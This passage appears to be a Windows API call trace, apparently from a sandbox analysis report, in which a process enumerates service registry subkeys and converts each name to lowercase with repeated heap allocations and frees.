cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0254.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0254.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0254.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0254.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a00, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0254.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0254.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0254.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0254.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0254.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.790] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0254.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0254.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0254.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0254.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0254.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0254.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.791] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0254.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0254.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0254.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0254.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0254.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0254.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0254.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0254.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.792] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0254.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0254.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0254.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0254.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0254.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0254.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0254.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0254.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.793] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0254.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0254.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.794] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0254.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0254.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.794] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0254.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0254.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.794] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0254.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0254.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.795] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0254.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0254.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0254.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.795] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0254.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0254.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0254.795] RtlAllocateHeap (HeapHandle=0x2520000, 